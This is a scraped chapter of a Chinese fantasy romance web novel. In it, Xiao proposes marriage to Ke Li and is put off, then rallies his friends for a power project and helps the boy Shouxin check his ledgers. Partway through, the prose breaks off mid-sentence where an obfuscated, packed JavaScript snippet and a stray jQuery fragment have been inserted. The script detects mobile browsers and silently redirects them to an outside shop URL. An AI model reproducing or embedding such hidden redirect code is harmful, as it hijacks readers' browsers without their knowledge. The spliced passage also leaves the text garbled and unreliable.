文趣网 > 其他小说 > 朽木生花 > 12. 求婚失败
    柯梨停在二楼走廊,俯视出神的霄。小圆子收拾好地板,也低着头上了楼,全程都没有回应霄探究的眼神。

    霄没有跟上去,视线转向了倚在走廊扶手上的柯梨。柯梨手撑着脑袋,眼睛微眯。待她探究的眼睛转向霄,嘴角翘起一抹玩味,转身进了二楼房间。

    霄来到二楼时,柯梨正把灵丝分发给童灵们。那些呆头呆脑的童灵吸收一缕灵丝后,眼中焕发出光彩。

    他们好奇地盯着自己的手,反复转动着,不时发出嘻嘻哈哈的笑声。

    平时静悄悄的黑暗房间渐渐热闹起来,随着拥有意识的童灵越来越多,热闹变成了喧闹。

    柯梨有些烦了,眉头拧成一团。

    吵闹的房间瞬间安静下来,刚刚恢复意识的童灵们本能地躲到桌子后面。过了一会,什么事情也没发生,他们又纷纷探出小脑瓜,好奇地打量桌子另一边的可怕女人。

    柯梨把手中最后一根灵丝用出,留恋地轻嗅指尖,忍不住抿一下嘴唇。

    “怎么不把灵丝留给自己?”霄倚在门框上问。

    她斜睨向霄,发泄出心底的懊恼:“都说了,我吃素。”

    “好,好,我记得了!”霄忍着笑意点点头。

    “哼,回家!”柯梨瞪他一眼,起身快步离开。

    霄停在走廊处,见柯梨自觉地捧起那束向日葵,嘴角不自觉的上扬,迈开步子不徐不疾地跟在她身后。

    天完全黑了,北地的冬天来得很早,一阵寒风刮起,人们皆早早躲进家去了。

    守心趴在一楼的地台上睡着了,旁边堆了一摞又一摞账本,炕桌上的那本还没来得及合上。柯梨轻叹一声,绕进那屋子,从柜子里掏出一床小被子,轻轻盖在小人身上。

    安置好守心,柯梨捧着花绕到餐厅,见霄在冰箱里翻找,才想起晚饭这件事:“晚上想吃什么?”

    霄关上冰箱门,走到人身前,俯下身凑到人耳边低声道:“浪漫的烛光晚餐如何?”

    “啊?”柯梨低头掐手指,盘算着要准备的东西,嘴一撇,为难道:“我不会做。”

    霄噗嗤一声笑了出来,意识到柯梨不想按人族的方式思考,便直白地问出了心里话:“阿梨,我知道你不喜欢虚妄的情爱,那咱们谈点实际的,结婚如何?”

    “你到可以结婚的年纪了?”柯梨直直看回来,眼神中没有丝毫波澜。

    霄的话被噎了回去。人族十八岁就算成年,但洲境男子要行冠礼后两年才能娶妻。不过郁家被视为特殊种族,行冠礼后就能成婚。

    『这样算来还要两年。』

    霄有些不情愿,再次争取道:“那先定亲,到了年纪就成婚。”

    对面的眼睛含着水光,柯梨觉得自己再拒绝,霄就得哭出来了。她有些不忍心,还是做出了让步:“还有几年呢,容我想想。”

    “我就这么不入你的眼?”霄着急了,逼近一步,紧紧握住柯梨的手。

    柯梨反手回握,领着霄坐到沙发上,等他情绪平稳些才问:“咱们认识的时间并不长,你确定你有那么喜欢我?”

    “非常喜欢!”霄郑重地点头。

    “我有些躁郁,守心在旁人口中生性顽劣。相处的时间长了,这些缺点都会暴露出来,你确定那时候还想在这生活?”

    这次柯梨没有逃避,静静盯着霄,等待他的回应。

    这些问题霄没有细想过,但他不在意,他只想长长久久地与柯梨在一起。

    斟酌一番后,霄强压下心头的悸动,把柯梨的手按在自己胸前,坐近一些郑重道:“阿梨给我些时间让我了解真正的你,然后嫁给我好吗?”

    “到时候再说喽,谁知道你会不会一天一变!”柯梨抽回手,像前几次那样逃走了。只在转身的瞬间,绯红的脸颊上,一抹狡黠的弧光转瞬即逝。

    “嗯?”霄察觉了,但他不在意,女人嘛都有些虚荣心,只要肯让步,总有一天能彻底拿下。作为长生人族,自己有的是时间。

    想到这他又觉得动力十足,兴奋地站起身,上下前后伸展了几下手臂,跟上了楼:“老板娘,我的晚饭!”

    ---

    天气越来越冷了,平安巷的客人较夏天减少了许多,等第一场雪降下后,这边就鲜少有人逛了。

    倒是平安商厦越来越热闹,那种四季恒温的地方,冬夏两季最是受人们欢迎。

    休沐日,几个舍友在平安商厦四楼的茶馆里晒了一天。

    霄也被薅来了,颓废了一上午,他坐不住了:“你们准备住这了?”

    拓跋烈火从摇椅上坐起身,透过落地窗,看向窗外的平安巷,嘴里呼出惬意的热气:“宿舍里可晒不到这样好的太阳。”

    外面看着阳光四溢,屋里暖意十足,打开窗就是另一方世界了。

    拓跋烈火和郝文都生在温暖的南方,除了第一年下雪时兴奋过几天,其他时候都恨死了这寒冷的冬季。

    特别是郝文,生在热带,来这之前认为冷就是台风季落在身上的雨水。

    “宿舍不供暖?”霄记得书院有集中供暖。

    “咱们宿舍原是住修士学生的,听说我要来上学,院长特意把院子空了出来。楼顶那地方平时倒是清净,但四面没有遮挡。北风一吹,那点热水只能保证屋里不上冻。”

    李怀瑾想起冷飕飕的被窝,又抱着热茶猛喝几口,感慨起来:“你们修士都不怕冷吗……好想念家里的火炕和空调啊,可惜宿舍限煤限电。”

    限煤不难理解,他们住在屋顶,自然与住在平地的要求不同。

    限电是因为电力不足,这个世界经历过好几个辉煌文明,可利用的资源就剩那么点。虽说有仙灵和长生人族保留了设计图纸,但大多数已经不适用了。

    『不知道我那方案什么时候可以实施。』

    霄又想起了抛到脑后的方案,但那是长久之事,如今还是想想怎么安顿这几个娇少爷吧。想到这他目光转向了章远:“书院里还有别的住处吗?”

    “自然有的,但李叔让他们来历练,跟院长沟通过,不给他们换地方。”章远摊开手,表示自己没有办法。

    这三个少爷里属李怀瑾最没志向,霄走过去拍拍他的肩膀:“我的民生工程你上点心,电力充足后你自然就有空调用了。”

    那份卖不出去的方案李怀瑾也看过,混沌的眼睛瞬间清明,背脊也随之挺直,对霄连连作揖:“谢谢二表哥提点。”

    又有一人同意入伙了,霄转向拓跋烈火。

    “山君说,你若能说服神殿和其他仙灵首领,他就跟一票。他点头了,拓跋家自然要跟上。”拓跋烈火说着,视线

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635503|206564||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    转向了郝文。

    郝文为难地摇摇头:“南边有黑市和大片雨林,环境复杂,仙灵和人族的势力也混乱,不像北边和西边的一言堂。”

    “这事我来想办法。”霄想启动这个项目,就要先统一人族口径。想到这他视线又扫过拓跋烈火。

    『能和西边的白老虎搭上关系,难怪能越过一众出色堂兄,成为拓跋家族的继承人。』

    本来还颓废的少爷们突然多了些动力,一个个站起身来,准备为人生的第一份功绩奋斗。

    等他们都信心满满地离开后,霄却犯起难来。他一个初出茅庐的新人,拿什么资本跟神殿和仙灵谈条件。

    他带着满腔烦恼回到家,柯梨又没有在家。

    “阿梨呢?”霄问守心。

    守心从一堆账本里抬起头来,咧嘴露出一个微笑,一排不齐整的牙齿暴露无遗:“阿妈去买菜了。”

    霄绕到茶室,盯着那一嘴蛀牙问:“你每天睡觉前刷牙吗?”

    “嘿嘿嘿!”守心心虚地挠挠头。

    “以后每天早晚,我跟你一起刷牙。”霄坐到地台上,拍拍他的头。

    “啊~”守心不情愿地撇撇嘴,但为了自己的出生大计还是忍住了,只从喉咙里发出几声闷哼。

    『也能听话吗,虽不情愿,眼里也没有恨恼,哪里是旁人口中睚眦必报的熊孩子。』

    霄留意过守心的传闻,对他这反应还算满意,想着以后多教导他些。

    守心有点不开心,不再说话,又低头看起账本来。

    霄有些好奇,也瞄了几眼。

    “算错了!”他敲敲错误的位置,提醒道。

    守心赶忙翻看起来,真的算错了,还一连错了好几处,这半天的功夫算是白费了。他抓着头发趴在炕桌上,眼见就要哭出来。

    “需要帮忙吗?”霄凑上前问。

    “真的吗?”守心期待地抬起头,见霄认真地点头,眼睛里的阴霾一扫而空。他从桌底抽出几摞账本来,坏坏一笑,“老爸你可不能反悔哦!”

    一下午,霄都在帮守心整理账目。不算不知道,守心的生意遍布整个洲境,除了凉州的平安巷,黑市和水族也有他店铺,东边和西边更是不计其数。

    “算完了!”守心开心地蹦起来,主动给霄捶背,笑得一脸讨好,“老爸辛苦了!”

    “想说什么?”霄问。

    “最近还得麻烦老爸多帮忙了。”守心笑得有些心虚,他最不喜欢算账了,认为这是世界上最难的事,好不容易有人愿意帮忙,可不想把人吓跑了。

    霄心安理得地享受着劳动成果,随手翻几页账本反问:“你怎么不雇几个账房?”

    “别提了!”守心立即泄了气,直挺挺地后仰躺在地台上。

    身后传来咚的一声闷响,霄连忙回过头,见小人躺在那连连叹气。知道他没事,霄放下心来,再次摸了摸小脑瓜:“怎么了?”

    “这些账目之前都是南迦在算,他那脑子能以一敌万,省下好些成本。可最近他师父闲了下来,把他捉回去练功了,算账这事就轮到我了。可我十核的脑子有九个不顶用,呜呜呜……”守心越说越委屈。

    “这样说来怪我咯!”霄捏着下巴若有所思。

    守心一骨碌爬起来,不解地看着霄。“怎么说?”